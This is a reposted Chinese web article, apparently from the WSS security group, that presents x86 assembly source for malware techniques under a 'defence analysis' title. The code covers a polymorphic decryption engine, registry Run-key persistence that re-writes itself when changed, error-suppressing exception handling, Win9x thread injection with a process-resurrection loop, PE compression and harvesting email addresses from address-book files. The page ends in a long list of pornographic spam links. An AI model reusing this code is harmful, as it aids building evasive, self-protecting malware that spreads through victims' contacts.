国产激情自拍_国产9色视频_丁香花在线电影小说观看 _久久久久国产精品嫩草影院

首頁 > 編程 > Java > 正文

病毒源碼解析之防御分析

2019-09-06 23:33:18
字體:
來源:轉載
供稿:網友
1、超級病毒變形引擎

此段代碼會在DATA段內生成一個解密代碼。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//計算機Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填寫隨機密碼
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填寫DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填寫Ret指令

sub ebx,edi
mov [edi-1],bl ;//填寫jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//計算機得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 瑣定注冊表

.586p
.model flat,STDCALL
.data

HKeyStr db 'SOFTWAREMicrosoftWindowsCurrentVersionRun',0
ValueName db 'wap32',0
PathName db 'wap32.exe',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db 'wap32',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外處理通用程序


此段程序可以達到屏蔽程序錯誤的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db 'Fuck',0

SetSehFrame: ;ecx=忽略錯誤繼續執行地址
pop eax ;彈出返回地址
push ecx ;保存忽略錯誤繼續執行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;彈出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢復原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;彈出忽略錯誤繼續執行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略錯誤繼續執行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下進程不死術

此段程序首先實現Win9x下注射遠程線程(新技術)
然后與Win2k下進程不死術一樣了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;問題,要Sleep()這樣做使Kernel32有機會更新數據
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db 'c:wap32.exe',0

KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、簡單算法,高效率壓縮PE文件

.586p
.model flat,STDCALL
.data

OldFile db 'pe.exe',0
NewFile db 'pe.zzz',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db 'My.WAB',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode郵件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode郵件名個數
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;讀一個記錄
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
国产激情自拍_国产9色视频_丁香花在线电影小说观看 _久久久久国产精品嫩草影院
91亚洲精选| 国产精品日日爱| 一本大道香蕉8中文在线视频| 国产视频二区| 国产日产一区二区| 精品成人免费自拍视频 | 好看的中文字幕在线播放| 欧美一级久久久久久久久大| 精品无吗乱吗av国产爱色| av在线播放av| 国产精品入口麻豆免费看| 亚洲成人在线播放| 中文字幕在线视频免费观看| 6699久久国产精品免费| 成年女人在线视频| 国产超碰在线| 最新黄网在线观看| 99在线免费视频| 国产理论电影在线| 精品黄色免费中文电影在线播放| 牛牛精品视频在线| 精品卡一卡卡2卡3网站| 玖玖在线视频| 2021av在线| 日本中文字幕视频在线| 亚洲综合色视频在线观看| 国产精品一二三区视频| 99久久免费精品国产免费| 激情丁香婷婷| 亚洲人在线播放| 国产对白叫床清晰在线播放| 九九热在线播放| 人人澡人人爽| 香蕉视频在线观看网站| 99色在线观看| 91中文字幕| 992tv在线观看在线播放| 国产美女在线播放| 亚洲欧美精品日韩欧美| 国产变态拳头交视频一区二区| 激情丁香婷婷| 麻豆精品视频入口| 欧美精品小视频| 日韩黄色成人| 亚洲久草视频| www.麻豆av.com| 青青草原国产在线观看| 白浆爆出在线观看| 国产在线观看网站| 久久99亚洲网美利坚合众国 | 国产黄色片大全| 五月综合激情在线| 国产裸舞福利在线视频合集| 国产69精品久久久久孕妇国产69久久| 久青青在线观看视频国产| 国产在线超碰| 国产区在线视频| 在线观看精品视频一区二区三区| 亚洲欧美自拍另类| 九九在线观看免费视频| 国产免费福利| 在线观看av资源网| 国产在线观看91| 国产精品666| 香蕉视频在线观看网站| 国产在线更新| 91涩漫在线观看c| wwww在线观看| 国产系列电影在线播放网址| 影音先锋日韩| 天堂在线中文| 精品精品导航| 最近最好的中文字幕2019免费| 国产黄色在线播放| 免费不卡中文字幕视频| 国产精品18久久久久网站| jizz性欧美| 99在线免费视频| 国产亚洲依依| 丁香花视频在线观看| 伊人av免费在线观看| 国产一级片在线播放| 在线黄色av| 精品麻豆视频| 国产不卡精品一区二区三区| 91超碰国产在线| 欧美日韩久久中文字幕| 18 激情视频在线| 国产精品偷乱一区二区三区| 天天草天天干| 亚洲欧美自拍另类| 在线免费黄色毛片| 国产福利在线| 天堂在线中文资源| 麻豆精品免费视频入口| 在线免费看黄av| 2020亚洲男人天堂| 国产色婷婷在线| 高清av在线| 久久91精品视频| 欧美xxxx黑人又粗又长| 日本一卡二卡四卡精品| av超碰在线| 亚洲日本伊人| 欧美日韩**字幕一区| 老司机精品视频一区二区| 男人天堂v视频| 黄色av免费在线| 九色成人在线| 国产乱妇乱子| 国产日产精品久久久久久婷婷| 丁香婷婷激情| 青青草中文字幕| 久久亚洲国产成人亚| 老鸭窝av在线| 最近最好的中文字幕2019免费 | 久久精品视频免费看| 国产在线资源| 国产三区在线观看| av高清资源| 麻豆国产视频| 国产美女在线免费观看| 成网站在线观看人免费| 国产日产一区二区| 午夜影院在线| 99视频资源网| 中文资源在线网| 国产在线三区| 精品国产免费观看一区| а√最新版在线天堂| 资源视频在线播放免费| 992tv在线观看在线播放| 天天草天天操| 18 激情视频在线| 久久香蕉一区| av男人的天堂网| 国产系列在线观看| 92国产在线视频| 最近最好的中文字幕2019免费| 精品卡1卡2卡三卡免费网站| www.操操操| 国产精品黄页网站在线播放免费 | 中文字幕一区免费| www.香蕉视频在线观看| 国产aⅴ超薄肉色丝袜交足| 狠狠操狠狠色| 日本a级黄色| jlzzjlzz欧美| 精品日韩av| 国产导航在线| 国产写真视频在线观看| 高清欧美精品xxxxx在线看| 亚洲人av在线| 在线观看av网站| 精品视频麻豆入口| 国产日产一区二区三区| 国产美女福利在线| 国产在线麻豆精品| 麻豆国产在线视频| 国自产拍在线网站网址视频| 免费在线看v| 九九热在线播放| 黄网址在线播放免费| www.91av| 国产美女福利在线观看| 午夜免费福利在线观看| 国产一区电影| 国产极品嫩模在线视频一区| 国产区在线观看| 精品视频三区| www.狠狠插| 久久精品国产亚洲a∨麻豆| 麻豆视频国产| 国产裸舞福利在线视频合集| 国产男女猛烈无遮挡免费视频 | 国产精品自产拍在线观看2019| 国产有码在线| 高清色视频在线观看| 国产一级二级三级在线观看| 国产视频青青| 亚洲免费国产| 丁香花高清视频完整版在线观看| 中文字幕亚洲精品视频| 精品国产一区二区三区四区阿崩| h网址在线观看| 日本中文字幕在线观看| 999精品网| 国产美女福利在线观看| 69日小视频在线观看| 欧美亚洲系列| 国产精品久久久久久福利| 欧美日韩亚洲第一页| 国产一区二区三区不卡在线| av免费在线免费| 国产性色视频| 久久久久久久久免费视频| 69精品视频| 国产另类图片| 日p在线观看| 国产视频三区|